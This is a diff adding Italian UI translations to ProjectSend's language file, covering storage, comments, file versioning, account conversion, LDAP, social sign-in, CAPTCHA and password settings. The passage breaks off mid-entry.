+ "Orphan auto-delete only ever operates on local storage, so it stays off while external storage is active — even if it was previously enabled.": "L'eliminazione automatica degli orfani opera solo sull'archiviazione locale, perciò resta disattivata finché è attiva l'archiviazione esterna — anche se in precedenza era stata abilitata.", + "Orphan files": "File orfani", + "Outgoing email is sent through a centrally managed relay for cloud accounts. You can still choose the From address and name shown to recipients.": "Per gli account cloud le e-mail in uscita passano da un relay gestito centralmente. Puoi comunque scegliere l'indirizzo e il nome del mittente mostrati ai destinatari.", + "Page": "Pagina", + "Path prefix": "Prefisso del percorso", + "Pending": "In sospeso", + "Periodically checks projectsend.org's public repository for a newer release and shows a notice on the dashboard. Nothing is ever downloaded or applied automatically.": "Controlla periodicamente se il repository pubblico di projectsend.org offre una versione più recente e mostra un avviso nel pannello. Non viene mai scaricato né applicato nulla automaticamente.", + "Permanently failed": "Fallita definitivamente", + "Post comment": "Pubblica commento", + "Preview of :name": "Anteprima di :name", + "Previous month": "Mese precedente", + "ProjectSend's classic email look — simple and neutral, and pairs well with any public/portal theme.": "Lo stile e-mail classico di ProjectSend — semplice e neutro, si abbina bene a qualsiasi tema pubblico o del portale.", + "ProjectSend :version is available": "ProjectSend :version è disponibile", + "Public folder": "Cartella pubblica", + "Published :date": "Pubblicato il :date", + "Queue": "Coda", + "Reassign them to another account": "Riassegnarli a un altro account", + "Region": "Regione", + "Remove a category": "Rimuovi una categoria", + "Remove categories": "Rimuovere categorie", + "Rename folder": "Rinomina cartella", + "Required by most S3-compatible services (MinIO, etc). Leave off for AWS S3.": "Richiesto dalla maggior parte dei servizi compatibili con S3 (MinIO, ecc.). Lascia disattivato per AWS S3.", + "Requires Upload files": "Richiede \"Caricare file\"", + "Retry": "Riprova", + "Root": "Radice", + "Scheduler": "Pianificatore", + "Scheduler settings": "Impostazioni del pianificatore", + "Search accounts…": "Cerca account…", + "Search and filter": "Cerca e filtra", + "Secret key": "Chiave segreta", + "Select files to bulk-edit them": "Seleziona dei file per modificarli in blocco", + "Sender identity": "Identità del mittente", + "Set to…": "Imposta su…", + "Share": "Condividi", + "Shared with client": "Condiviso con il cliente", + "Shared with me": "Condivisi con me", + "Sharing a folder shares everything inside it, now and later. Manage sharing from the edit page.": "Condividere una cartella condivide tutto ciò che contiene, ora e in futuro. Gestisci la condivisione dalla pagina di modifica.", + "Someone commented on a file": "Qualcuno ha commentato un file", + "Sort by": "Ordina per", + "Storage settings": "Impostazioni di archiviazione", + "Storage settings saved.": "Impostazioni di archiviazione salvate.", + "Success: connected to bucket \":bucket\".": "Riuscito: connessione al bucket \":bucket\" stabilita.", + "Task": "Operazione", + "Test connection": "Prova la connessione", + "Test result": "Esito della prova", + "This account owns :files file(s) and :folders folder(s). What should happen to them?": "Questo account possiede :files file e :folders cartelle. Che cosa se ne deve fare?", + "This cannot be undone.": "L'operazione non è reversibile.", + "This client has no accessible files yet.": "Questo cliente non ha ancora file accessibili.", + "This deletion is permanent": "Questa eliminazione è definitiva", + "This file is public because it's inside the public folder \":name\".": "Questo file è pubblico perché si trova nella cartella pubblica \":name\".", + "This folder cannot be deleted: it holds :count file you did not upload.|This folder cannot be deleted: it holds :count files you did not upload.": "Questa cartella non può essere eliminata: contiene :count file che non hai caricato tu.|Questa cartella non può essere eliminata: contiene :count file che non hai caricato tu.", + "This removes it from the failed jobs list without retrying it.": "La rimuove dall'elenco delle operazioni fallite senza ritentarla.", + "Total size": "Dimensione totale", + "To update, run:": "Per aggiornare, esegui:", + "Unavailable while external storage is active": "Non disponibile finché è attiva l'archiviazione esterna", + "Unlike an expired file, an orphan has no database row to soft-delete — there is no undo once it's gone.": "A differenza di un file scaduto, un orfano non ha alcuna riga nel database da eliminare in modo reversibile — una volta sparito non si torna indietro.", + "Unlimited storage": "Spazio illimitato", + "Update :count files": "Aggiorna :count file", + "Uploaded and shared": "Caricato e condiviso", + "Uploaded by client": "Caricato dal cliente", + "Uploaded by me": "Caricato da me", + "Uploaded by the client, or assigned to them directly, via a group, or via a shared folder.": "Caricato dal cliente, oppure assegnato direttamente, tramite un gruppo o tramite una cartella condivisa.", + "Uploading into \":name\".": "Caricamento in \":name\".", + "Upload settings saved.": "Impostazioni di caricamento salvate.", + "Upload settings saved. Warning: :extensions can be dangerous to allow — only keep them on the list if you understand the risk.": "Impostazioni di caricamento salvate. Attenzione: consentire :extensions può essere pericoloso — mantienile nell'elenco solo se sei consapevole del rischio.", + "used": "utilizzato", + "Used in the public folder URL.": "Usato nell'URL della cartella pubblica.", + "Use external storage for new uploads": "Usa l'archiviazione esterna per i nuovi caricamenti", + "Use path-style addressing": "Usa l'indirizzamento per percorso", + "View all downloads (:count)": "Vedi tutti i download (:count)", + "View full history (:count)": "Vedi la cronologia completa (:count)", + "View release notes": "Vedi le note di rilascio", + "View release notes on GitHub": "Vedi le note di rilascio su GitHub", + "Visitor": "Visitatore", + "Visitors who are not logged in can only write public comments, so this has no effect until you allow public comments below.": "I visitatori non connessi possono scrivere solo commenti pubblici, perciò questa opzione non ha effetto finché non consenti i commenti pubblici qui sotto.", + "What happens to a file once it expires, or once one turns up unclaimed on disk": "Che cosa succede a un file una volta scaduto, o quando ne compare uno senza proprietario sul disco", + "Where": "Dove", + "Whether scheduled tasks are actually running, and any queued email that failed to send": "Se le operazioni pianificate sono davvero in esecuzione, e quali e-mail in coda non sono state inviate", + "Who can comment on files, and which files accept comments": "Chi può commentare i file e quali file accettano commenti", + "Who can see this": "Chi può vedere questo", + "Who can write a comment": "Chi può scrivere un commento", + "Write a comment…": "Scrivi un commento…", + "You cannot grant permissions your own role does not have: :permissions": "Non puoi concedere autorizzazioni che il tuo ruolo non possiede: :permissions", + "You need upload permission to create folders": "Per creare cartelle ti serve l'autorizzazione a caricare", + "Your comment will be reviewed before it appears.": "Il tuo commento verrà esaminato prima di comparire.", + "Your name": "Il tuo nome", + "— No change —": "— Nessuna modifica —", + "Newest first": "Dal più recente", + "Oldest first": "Dal più vecchio", + "Name (A–Z)": "Nome (A–Z)", + "Name (Z–A)": "Nome (Z–A)", + "Largest first": "Dal più grande", + "Smallest first": "Dal più piccolo", + "Transfers": "Trasferimenti", + "Top clients by storage": "Principali clienti per spazio occupato", + "Largest files": "File più grandi", + "Expired files": "File scaduti", + "A private note. Nobody else can read it, staff included.": "Una nota privata. Nessun altro può leggerla, staff compreso.", + "Reply": "Rispondi", + "Replying to :name": "Risposta a :name", + "The team working on this file. No client ever sees it.": "Il team che lavora su questo file. Nessun cliente lo vede mai.", + "With :name": "Con :name", + "Your reply goes to :name only, and to staff.": "La tua risposta va solo a :name e allo staff.", + "Your reply goes to the same people as the comment above.": "La tua risposta va alle stesse persone del commento qui sopra.", + "Public comments are turned off for this site.": "I commenti pubblici sono disattivati per questo sito.", + "Only a file that is publicly visible can have public comments.": "Solo un file visibile pubblicamente può avere commenti pubblici.", + "The team, and everyone this file is shared with. Clients cannot see each other.": "Il team e tutte le persone con cui questo file è condiviso. I clienti non si vedono tra loro.", + "Everyone above, plus anyone who opens this file without logging in.": "Tutte le persone qui sopra, più chiunque apra questo file senza effettuare l'accesso.", + "Not signed in": "Non connesso", + "New comment on \":name\"": "Nuovo commento su \":name\"", + ":author commented on \":name\".": ":author ha commentato \":name\".", + ":author commented on \":name\"": ":author ha commentato \":name\"", + "Read the comment": "Leggi il commento", + ":count new comments": ":count nuovi commenti", + "There are :count new comments for you:": "Ci sono :count nuovi commenti per te:", + "Someone": "Qualcuno", + "New comment on a file": "Nuovo commento su un file", + "Multiple new comments (digest)": "Più commenti nuovi (riepilogo)", + "Marked the file \":subject\" as a revision of \":previous\"": "Ha contrassegnato il file \":subject\" come revisione di \":previous\"", + "Removed the version link from the file \":subject\"": "Ha rimosso il collegamento di versione dal file \":subject\"", + "A file was marked as a revision of another": "Un file è stato contrassegnato come revisione di un altro", + "A file version link was removed": "Un collegamento di versione è stato rimosso", + "A newer version of a file I have is available": "È disponibile una versione più recente di un file che possiedo", + "A newer version of \":previousName\" is available: :itemName": "È disponibile una versione più recente di \":previousName\": :itemName", + "A newer version of a file you have is available": "È disponibile una versione più recente di un file che possiedi", + "\":previous\" has been replaced by a newer version: \":name\".": "\":previous\" è stato sostituito da una versione più recente: \":name\".", + ":count files you have were replaced by newer versions": ":count file che possiedi sono stati sostituiti da versioni più recenti", + "Newer versions of the following :count files are available:": "Sono disponibili versioni più recenti dei seguenti :count file:", + ":previous → :name": ":previous → :name", + "A file cannot be a revision of itself.": "Un file non può essere una revisione di sé stesso.", + "That file is already part of this file's version history.": "Quel file fa già parte della cronologia delle versioni di questo file.", + "That file has already been revised by \":name\". Remove that link first.": "Quel file è già stato revisionato da \":name\". Rimuovi prima quel collegamento.", + "That file has just been revised by another file. Reload and try again.": "Quel file è appena stato revisionato da un altro file. Ricarica la pagina e riprova.", + "This version history is too long. Remove an older link first.": "Questa cronologia delle versioni è troppo lunga. Rimuovi prima un collegamento più vecchio.", + "That file can't be used as the previous version.": "Quel file non può essere usato come versione precedente.", + "This file is already shared with other people, so it can't be marked as a new version. Ask your contact to do it for you.": "Questo file è già condiviso con altre persone, quindi non può essere contrassegnato come nuova versione. Chiedi al tuo referente di farlo per te.", + "This file is a new version of \":name\". Manage sharing on \":name\" instead — every version follows it.": "Questo file è una nuova versione di \":name\". Gestisci la condivisione su \":name\" — ogni versione la segue.", + "This file is a new version of another file, and is shared with the same people as that one.": "Questo file è una nuova versione di un altro file ed è condiviso con le stesse persone di quello.", + "Versions": "Versioni", + "Mark this file as a newer version of something you uploaded before.": "Contrassegna questo file come versione più recente di qualcosa che hai caricato in passato.", + "This version is outdated": "Questa versione è obsoleta", + "It was replaced by \":name\".": "È stata sostituita da \":name\".", + "This file is a new version of": "Questo file è una nuova versione di", + "Remove link": "Rimuovi il collegamento", + "Mark as a new version": "Contrassegna come nuova versione", + "Version history": "Cronologia delle versioni", + "Version link removed.": "Collegamento di versione rimosso.", + "This file is now marked as a new version of \":name\".": "Questo file è ora contrassegnato come nuova versione di \":name\".", + "Share this file's recipients with the original?": "Estendere i destinatari di questo file all'originale?", + "A new version is shared with the same people as the original. These recipients of this file will be added to it, so nobody loses access:": "Una nuova versione viene condivisa con le stesse persone dell'originale. Questi destinatari del file in questione gli verranno aggiunti, così nessuno perde l'accesso:", + "No other files are available to link to.": "Non ci sono altri file a cui collegarsi.", + "Shared through \":name\"": "Condiviso tramite \":name\"", + "This file is a new version of \":name\", so it is shared with the same people. Changing who can see it means changing that file.": "Questo file è una nuova versione di \":name\", quindi è condiviso con le stesse persone. Cambiare chi può vederlo significa intervenire su quel file.", + "Edit sharing on \":name\"": "Modifica la condivisione di \":name\"", + "You don't have permission to change who that file is shared with.": "Non hai l'autorizzazione per modificare le persone con cui quel file è condiviso.", + "This is a new version of \":name\" and is shared with the same people. Manage sharing on that file.": "Questa è una nuova versione di \":name\" ed è condivisa con le stesse persone. Gestisci la condivisione su quel file.", + "New version of": "Nuova versione di", + "Replaced by": "Sostituito da", + "Outdated": "Obsoleto", + "New version": "Nuova versione", + "Replaced by :name": "Sostituito da :name", + "Replaces :name": "Sostituisce :name", + "There is a newer version of this file": "Esiste una versione più recente di questo file", + "This replaces": "Questo sostituisce", + "This is a new version of a file I uploaded before": "Questa è una nuova versione di un file che ho caricato in passato", + "Search your files…": "Cerca nei tuoi file…", + "You have no earlier files that can be replaced.": "Non hai file precedenti che possano essere sostituiti.", + "This file will be shared with the same people who have \":name\".": "Questo file verrà condiviso con le stesse persone che hanno \":name\".", + ":name (group)": ":name (gruppo)", + "Search files…": "Cerca file…", + "Search…": "Cerca…", + "Searching…": "Ricerca in corso…", + "No files match \":search\".": "Nessun file corrisponde a \":search\".", + "Nothing matches \":search\".": "Nulla corrisponde a \":search\".", + "A client account was converted to staff": "Un account cliente è stato convertito in account dello staff", + "A staff account was converted to a client": "Un account dello staff è stato convertito in account cliente", + "A client account was created from the directory": "Un account cliente è stato creato dalla directory", + "Converted the client account \":subject\" to staff (:role)": "Ha convertito l'account cliente \":subject\" in account dello staff (:role)", + "Converted the staff account \":subject\" to a client": "Ha convertito l'account dello staff \":subject\" in account cliente", + "Created a client account from the directory on first sign-in": "Ha creato un account cliente dalla directory al primo accesso", + "Convert accounts": "Convertire gli account", + "Convert": "Converti", + "Convert to client": "Converti in cliente", + "Convert to staff": "Converti in account dello staff", + "Convert :name to a client": "Converti :name in cliente", + "Convert :name to staff": "Converti :name in account dello staff", + "Client → staff": "Cliente → staff", + "Staff → client": "Staff → cliente", + "Move an account between staff and clients. Files they uploaded are always kept.": "Sposta un account tra staff e clienti. I file caricati vengono sempre conservati.", + "They lose access to every staff screen immediately.": "L'accesso a tutte le schermate dello staff viene perso immediatamente.", + "They gain access to the staff screens their role allows.": "Viene concesso l'accesso alle schermate dello staff consentite dal ruolo.", + "Will be revoked": "Verrà revocato", + "Will be revoked and cannot be undone": "Verrà revocato, senza possibilità di ripristino", + "Will be kept": "Verrà conservato", + "Nothing": "Nulla", + "Nothing to keep": "Nulla da conservare", + "Converting back restores everything under \"Will be kept\". It does not restore what was revoked.": "Riconvertire nell'altro senso ripristina tutto ciò che compare sotto \"Verrà conservato\". Non ripristina ciò che è stato revocato.", + ":files files and :folders folders they uploaded": ":files file e :folders cartelle caricati da questo account", + "No accounts match these filters.": "Nessun account corrisponde a questi filtri.", + "Account converted to a client.": "Account convertito in cliente.", + "Account converted to staff.": "Account convertito in account dello staff.", + "Approve or deny this account request before converting it.": "Approva o rifiuta questa richiesta di account prima di convertirla.", + "You cannot convert your own account.": "Non puoi convertire il tuo stesso account.", + "New password": "Nuova password", + "New password (optional)": "Nuova password (facoltativa)", + "Leave blank to keep their current password.": "Lascia vuoto per mantenere la password attuale.", + "This account signs in through your directory. Staff accounts never do, so it needs a password here or they will not be able to sign in at all.": "Questo account accede tramite la tua directory. Gli account dello staff non lo fanno mai, quindi gli serve una password qui, altrimenti non potrà accedere affatto.", + "Set a password for this account. It signs in through your directory today, and staff accounts never do.": "Imposta una password per questo account. Oggi accede tramite la tua directory, cosa che gli account dello staff non fanno mai.", + "Tokens created": "Token creati", + "Currently active": "Attualmente attivi", + ":count active": ":count attivi", + "1 permission": "1 autorizzazione", + ":count permissions": ":count autorizzazioni", + "This token carries no permissions.": "Questo token non porta alcuna autorizzazione.", + "This account has created API tokens before, but none are live now.": "Questo account ha già creato token API in passato, ma nessuno è attivo ora.", + "This account has never created an API token.": "Questo account non ha mai creato un token API.", + "No longer granted to this account, so it does nothing.": "Non è più concessa a questo account, quindi non ha alcun effetto.", + "Only :name can create, change or revoke these — an administrator can see them, but not manage them.": "Solo :name può crearli, modificarli o revocarli — un amministratore può vederli, ma non gestirli.", + "What this token is allowed to do through the API. It can never do more than :name may.": "Ciò che questo token può fare tramite l'API. Non può mai fare più di quanto sia consentito a :name.", + "LDAP": "LDAP", + "LDAP settings": "Impostazioni LDAP", + "LDAP settings saved.": "Impostazioni LDAP salvate.", + "Directory": "Directory", + "Connection": "Connessione", + "Server": "Server", + "Base DN": "DN di base", + "Service account DN": "DN dell'account di servizio", + "Service account password": "Password dell'account di servizio", + "Email attribute": "Attributo e-mail", + "Name attribute": "Attributo nome", + "Additional filter (optional)": "Filtro aggiuntivo (facoltativo)", + "CA certificate path (optional)": "Percorso del certificato CA (facoltativo)", + "None (unencrypted)": "Nessuna (non cifrata)", + "StartTLS": "StartTLS", + "LDAPS (implicit TLS)": "LDAPS (TLS implicito)", + "Allow clients to sign in with a directory account": "Consenti ai clienti di accedere con un account della directory", + "Let clients sign in with their directory account. Staff always authenticate locally.": "Permetti ai clienti di accedere con il proprio account della directory. Lo staff si autentica sempre localmente.", + "Create an account on first sign-in": "Crea un account al primo accesso", + "Directory accounts are always created as clients, never as staff.": "Gli account provenienti dalla directory vengono sempre creati come clienti, mai come staff.", + "Someone in the directory with no account here gets a client account and is signed in immediately.": "Chi è presente nella directory ma non ha un account qui ottiene un account cliente e viene connesso immediatamente.", + "Someone in the directory with no account here gets a client account that waits in Account requests for approval.": "Chi è presente nella directory ma non ha un account qui ottiene un account cliente che attende l'approvazione in Richieste di account.", + "Only people who already have an account here can sign in.": "Possono accedere solo le persone che hanno già un account qui.", + "Combined with the address match, to narrow who may sign in.": "Si combina con la corrispondenza dell'indirizzo, per restringere chi può accedere.", + "The attribute holding the address people sign in with — usually mail.": "L'attributo che contiene l'indirizzo con cui le persone accedono — di solito mail.", + "Where in the tree to look for people.": "Il punto dell'albero in cui cercare le persone.", + "Leave blank to search anonymously.": "Lascia vuoto per effettuare una ricerca anonima.", + "Stored encrypted, and never shown again.": "Memorizzata in forma cifrata e mai più mostrata.", + "Stored encrypted. Leave blank to keep the current one.": "Memorizzata in forma cifrata. Lascia vuoto per mantenere quella attuale.", + "For a directory presenting a certificate from your own certificate authority.": "Per una directory che presenta un certificato emesso dalla tua autorità di certificazione.", + "Unencrypted: the service account password and every client password cross the network in clear text.": "Non cifrata: la password dell'account di servizio e quella di ogni cliente attraversano la rete in chiaro.", + "When a client’s password is not recognised locally, it is checked against the directory. Staff accounts always authenticate locally and are never sent to it.": "Quando la password di un cliente non viene riconosciuta localmente, viene verificata sulla directory. Gli account dello staff si autenticano sempre localmente e non vengono mai inviati a essa.", + "The PHP LDAP extension is not installed on this server, so these settings cannot take effect.": "L'estensione PHP LDAP non è installata su questo server, quindi queste impostazioni non possono avere effetto.", + "The PHP LDAP extension is not installed on this server.": "L'estensione PHP LDAP non è installata su questo server.", + "Saves are not required to test — but the test uses the settings as last saved.": "Non è necessario salvare per eseguire la prova — ma la prova usa le impostazioni così come sono state salvate l'ultima volta.", + "Test a sign-in": "Prova un accesso", + "Email address (optional)": "Indirizzo e-mail (facoltativo)", + "Password (optional)": "Password (facoltativa)", + "Connected and bound as the service account.": "Connesso e autenticato come account di servizio.", + "Could not connect or bind as the service account: :error": "Impossibile connettersi o autenticarsi come account di servizio: :error", + "Found a matching entry.": "Trovata una voce corrispondente.", + "No directory entry matched that address under the base DN.": "Nessuna voce della directory corrisponde a quell'indirizzo sotto il DN di base.", + "The directory rejected that password.": "La directory ha rifiutato quella password.", + "The search failed: :error": "La ricerca non è riuscita: :error", + "The sign-in bind failed: :error": "L'autenticazione all'accesso non è riuscita: :error", + "Signed in successfully.": "Accesso effettuato con successo.", + "1 item": "1 elemento", + ":count items": ":count elementi", + "1 API token": "1 token API", + ":count API tokens": ":count token API", + "1 assigned client": "1 cliente assegnato", + ":count assigned clients": ":count clienti assegnati", + "Managed by 1 staff member": "Gestito da 1 membro dello staff", + "Managed by :count staff members": "Gestito da :count membri dello staff", + "1 group membership": "1 adesione a un gruppo", + ":count group memberships": ":count adesioni a gruppi", + "1 file shared with them": "1 file condiviso con questo account", + ":count files shared with them": ":count file condivisi con questo account", + "Approve these accounts automatically": "Approva automaticamente questi account", + "Your directory has already established who they are, so there is nobody to vet. Leave this off to review each one in Account requests first.": "La tua directory ha già stabilito la loro identità, quindi non c'è nessuno da verificare. Lascia disattivata questa opzione per esaminarli prima in Richieste di account.", + "Clients who register themselves are approved automatically — this setting is separate, and does not follow it.": "I clienti che si registrano da soli vengono approvati automaticamente — questa impostazione è indipendente e non segue quella regola.", + "Clients who register themselves still wait for approval — this setting is separate, and does not change that.": "I clienti che si registrano da soli restano comunque in attesa di approvazione — questa impostazione è indipendente e non lo cambia.", + "Container filesystem": "Filesystem del container", + "Docker volume": "Volume Docker", + "Files stored on": "File archiviati su", + "Host directory": "Directory dell'host", + "That means docker compose down -v and docker volume prune both delete them, and a backup of your server can miss them entirely.": "Ciò significa che docker compose down -v e docker volume prune li eliminano entrambi, e che un backup del tuo server può ignorarli del tutto.", + "They are not on any volume, so rebuilding or recreating this container will permanently delete every file. Move them to a directory on the host before uploading anything else.": "Non si trovano su alcun volume, perciò ricostruire o ricreare questo container eliminerà definitivamente ogni file. Spostali in una directory sull'host prima di caricare qualsiasi altra cosa.", + "They survive upgrades, but they live in a Docker-managed volume rather than a directory you chose.": "Sopravvivono agli aggiornamenti, ma risiedono in un volume gestito da Docker anziché in una directory scelta da te.", + "They survive upgrades, but they live in the Docker volume :volume rather than a directory you chose.": "Sopravvivono agli aggiornamenti, ma risiedono nel volume Docker :volume anziché in una directory scelta da te.", + "Uploaded files are inside Docker": "I file caricati si trovano dentro Docker", + "Uploaded files are stored inside the container": "I file caricati sono archiviati dentro il container", + "1 more language available": "1 altra lingua disponibile", + ":count more languages available": ":count altre lingue disponibili", + ":left of :limit downloads left": ":left di :limit download rimasti", + ":limit downloads per person": ":limit download a persona", + ":name will sign in with just their password until they set it up again, and will be emailed about this change. If two-factor authentication is required on this site, they will be asked to enrol again at their next sign-in.": ":name accederà solo con la password finché non la riconfigura, e riceverà un'email su questa modifica. Se su questo sito è richiesta l'autenticazione a due fattori, gli verrà chiesto di attivarla di nuovo al prossimo accesso.", + ":provider accepted your secret key.": ":provider ha accettato la tua chiave segreta.", + ":provider connected.": ":provider collegato.", + ":provider did not provide an email address, which is required to sign in.": ":provider non ha fornito un indirizzo email, necessario per accedere.", + ":provider disconnected.": ":provider scollegato.", + ":provider never reports whether an address is verified, so with this on it can create new accounts but can never sign in to an existing one. Connecting it from Settings while already signed in still works.": ":provider non segnala mai se un indirizzo è verificato, quindi con questa opzione attiva può creare nuovi account ma non accedere mai a uno già esistente. Collegarlo dalle Impostazioni mentre hai già la sessione aperta funziona comunque.", + ":provider rejected your secret key.": ":provider ha rifiutato la tua chiave segreta.", + ":provider settings saved.": "Impostazioni di :provider salvate.", + ":used of :limit downloads used": ":used di :limit download usati", + "A :provider account was connected": "È stato collegato un account :provider", + "A :provider account was disconnected": "È stato scollegato un account :provider", + "Accounts at :domain cannot sign in with :provider here.": "Gli account di :domain non possono accedere con :provider qui.", + "A client account was created from :provider": "È stato creato un account cliente a partire da :provider", + "Allowed email domains": "Domini email consentiti", + "Allow signing in with :provider": "Consenti l'accesso con :provider", + "Always a client account. Staff accounts are only ever created by an administrator.": "Sempre un account cliente. Gli account dello staff vengono creati solo da un amministratore.", + "Always available — the application is written in English, so it needs no translation file.": "Sempre disponibile: l'applicazione è scritta in inglese, quindi non ha bisogno di un file di traduzione.", + "An account already uses this email address, and :provider did not confirm that you own it. Sign in with your password and connect :provider from your settings instead.": "Un account usa già questo indirizzo email, e :provider non ha confermato che sia tuo. Accedi con la tua password e collega :provider dalle tue impostazioni.", + "An address the provider has not confirmed can never be matched to an account that already exists here. Turning this off means anyone who can register at your provider under someone else’s address can sign in as them.": "Un indirizzo che il provider non ha confermato non può mai essere associato a un account già esistente qui. Disattivare questa opzione significa che chiunque possa registrarsi presso il tuo provider con l'indirizzo di un'altra persona potrebbe accedere al posto suo.", + "An administrator removed two-factor authentication from your account. You can set it up again from your security settings. Contact your administrator if this was not expected.": "Un amministratore ha rimosso l'autenticazione a due fattori dal tuo account. Puoi riconfigurarla dalle tue impostazioni di sicurezza. Contatta il tuo amministratore se non te lo aspettavi.", + "Anyone who can reach a file sees the categories assigned to it — a client in their portal, or anyone holding a public or shared link. Signed-in clients can also filter their files by any category in this list. Only your team can create, rename or delete them.": "Chiunque possa raggiungere un file vede le categorie assegnate ad esso: un cliente nel suo portale, o chiunque abbia un link pubblico o condiviso. I clienti con la sessione aperta possono anche filtrare i loro file per qualsiasi categoria di questo elenco. Solo il tuo team può crearle, rinominarle o eliminarle.", + "Applies whenever a password is chosen, not when one is used to sign in": "Si applica ogni volta che si sceglie una password, non quando la si usa per accedere", + "Approve those accounts automatically": "Approva automaticamente quegli account", + "A secret is stored. Leave this blank to keep it.": "È memorizzato un segreto. Lascia vuoto per mantenerlo.", + "At least :count characters.": "Almeno :count caratteri.", + "Between 0.0 (treat everyone as a bot) and 1.0 (treat everyone as human). The usual value is 0.5.": "Tra 0.0 (trattare tutti come bot) e 1.0 (trattare tutti come umani). Il valore consueto è 0.5.", + "CAPTCHA": "CAPTCHA", + "CAPTCHA is currently switched off. Choose a provider and enter its keys to switch it on.": "Il CAPTCHA è disattivato. Scegli un provider e inserisci le sue chiavi per attivarlo.", + "CAPTCHA settings saved.": "Impostazioni del CAPTCHA salvate.", + "Categories are visible outside your team": "Le categorie sono visibili al di fuori del tuo team", + "Change yours": "Cambia la tua", + "Checks new passwords against the Have I Been Pwned breach corpus. The password itself never leaves this server — only the first five characters of its hash are sent.": "Confronta le nuove password con l'archivio delle violazioni di Have I Been Pwned. La password stessa non lascia mai questo server: vengono inviati solo i primi cinque caratteri del suo hash.", + "Checks the secret key with your provider. Nobody has to solve a challenge.": "Verifica la chiave segreta con il tuo provider. Nessuno deve risolvere una sfida.", + "Client ID": "ID client", + "Client registration": "Registrazione clienti", + "Client secret": "Segreto client", + "Cloudflare Turnstile": "Cloudflare Turnstile", + "Comma separated. Leave blank to allow any address.": "Separati da virgola. Lascia vuoto per consentire qualsiasi indirizzo.", + "Comments from visitors": "Commenti dei visitatori", + "Complete the security check and try again.": "Completa il controllo di sicurezza e riprova.", + "Configure it myself": "Configurarlo io stesso", + "Connected": "Collegato", + "Connected accounts": "Account collegati", + "Connected the :provider account of \":subject\"": "Ha collegato l'account :provider di \":subject\"", + "Continue with :provider": "Continua con :provider", + "Could not reach :provider: :error": "Impossibile contattare :provider: :error", + "Created a client account from :provider on first sign-in": "Ha creato un account cliente da :provider al primo accesso", + "Dates and times across the app are shown in this zone. Detected from your browser the first time you signed in.": "Le date e le ore in tutta l'app sono mostrate in questo fuso. Rilevato dal tuo browser la prima volta che hai effettuato l'accesso.", + "Default language": "Lingua predefinita", + "Directory (tenant) ID": "ID directory (tenant)", + "Disabled": "Disattivato", + "Disconnect": "Scollega", + "Disconnected the :provider account of \":subject\"": "Ha scollegato l'account :provider di \":subject\"", + "Downloaded :count time(s) so far. Your own downloads never count.": "Scaricato :count volta/e finora. I tuoi download non vengono mai conteggiati.", + "Download limit": "Limite di download", + "Download limit reached": "Limite di download raggiunto", + "Each person separately": "Ogni persona separatamente", + "Enabled": "Attivato", + "Enter a secret key first.": "Inserisci prima una chiave segreta.", + "Enter a specific tenant ID. The shared \"common\", \"organizations\" and \"consumers\" endpoints let any Microsoft tenant assert any email address.": "Inserisci un ID tenant specifico. Gli endpoint condivisi \"common\", \"organizations\" e \"consumers\" permettono a qualsiasi tenant Microsoft di dichiarare qualsiasi indirizzo email.", + "Every language installed on this server is listed below. Tick the ones you want offered in the language menu — staff, clients and public visitors will only see those. Installing another language is a matter of adding its translation file to the lang folder.": "Di seguito sono elencate tutte le lingue installate su questo server. Spunta quelle che vuoi offrire nel menu delle lingue: staff, clienti e visitatori pubblici vedranno solo quelle. Installare un'altra lingua è questione di aggiungere il suo file di traduzione alla cartella lang.", + "Existing passwords are never re-checked, so raising this only affects passwords chosen from now on.": "Le password esistenti non vengono mai ricontrollate, quindi aumentare questo valore influisce solo sulle password scelte d'ora in poi.", + "Facebook": "Facebook", + "GitHub": "GitHub", + "Google": "Google", + "In total, across everyone": "In totale, tra tutti", + "Issuer URL": "URL dell'emittente", + "Languages": "Lingue", + "Language settings": "Impostazioni della lingua", + "Leave empty for a file that can be downloaded any number of times.": "Lascia vuoto per un file che può essere scaricato un numero qualsiasi di volte.", + "Length is the single biggest factor in how hard a password is to guess, which is why there are no \"must contain a capital letter\" rules here — they push people towards predictable substitutions and shorter passwords.": "La lunghezza è il fattore più importante per quanto è difficile indovinare una password, ed è per questo che qui non ci sono regole del tipo \"deve contenere una lettera maiuscola\": spingono le persone verso sostituzioni prevedibili e password più corte.", + "Let people sign in with an account they already have somewhere else.": "Consenti alle persone di accedere con un account che hanno già altrove.", + "LinkedIn": "LinkedIn", + "Microsoft": "Microsoft", + "Minimum length": "Lunghezza minima", + "No limit": "Nessun limite", + "None selected": "Nessuno selezionato", + "No sign-in providers have been set up for this site.": "Non è stato configurato alcun provider di accesso per questo sito.", + "Not connected": "Non collegato", + "Off means they wait in Account requests. An address the provider did not verify always waits, whatever this says.": "Disattivato significa che restano in Richieste di account. Un indirizzo che il provider non ha verificato resta sempre in attesa, qualunque cosa dica questa opzione.", + "Off — no CAPTCHA": "Disattivato — nessun CAPTCHA", + "OpenID Connect": "OpenID Connect", + "Or continue with": "Oppure continua con", + "Or sign up with": "Oppure registrati con", + "Passwords": "Password", + "Passwords that appear in known data breaches are not accepted.": "Le password che compaiono in violazioni di dati note non vengono accettate.", + "Protection": "Protezione", + "Protect these forms": "Proteggi questi moduli", + "Protect your public forms from automated abuse": "Proteggi i tuoi moduli pubblici dall'abuso automatizzato", + "reCAPTCHA v2": "reCAPTCHA v2", + "reCAPTCHA v3": "reCAPTCHA v3", + "Redirect URI": "URI di reindirizzamento", + "Register this exact address with :provider. It must match character for character.": "Registra esattamente questo indirizzo presso :provider. Deve corrispondere carattere per carattere.", + "Reject passwords found in known data breaches": "Rifiuta le password trovate in violazioni di dati note", + "Removed two-factor authentication from \":subject\"": "Ha rimosso l'autenticazione a due fattori da \":subject\"", + "Remove the limit": "Rimuovi il limite", + "Remove two-factor authentication": "Rimuovi l'autenticazione a due fattori", + "Remove two-factor authentication?": "Rimuovere l'autenticazione a due fattori?", + "Require a verified email address": "Richiedi un indirizzo email verificato", + "Run these as the user your web server runs as. INSTALL.md has the full procedure.": "Esegui questi comandi come l'utente con cui gira il tuo server web. INSTALL.md contiene la procedura completa.", + "Score threshold": "Soglia del punteggio", + "Search timezones…": "Cerca fusi orari…", + "Security check failed. Please try again.": "Il controllo di sicurezza non è riuscito. Riprova.", + "Service": "Servizio", + "Set a password for this account. It has never had one — it signs in through a connected provider, and a staff account needs a credential this application can check on its own.": "Imposta una password per questo account. Non ne ha mai avuta una: accede tramite un provider collegato, e un account dello staff ha bisogno di una credenziale che questa applicazione possa verificare da sola.", + "Signed-in visitors are never asked to solve a challenge when commenting.": "Ai visitatori con la sessione aperta non viene mai chiesto 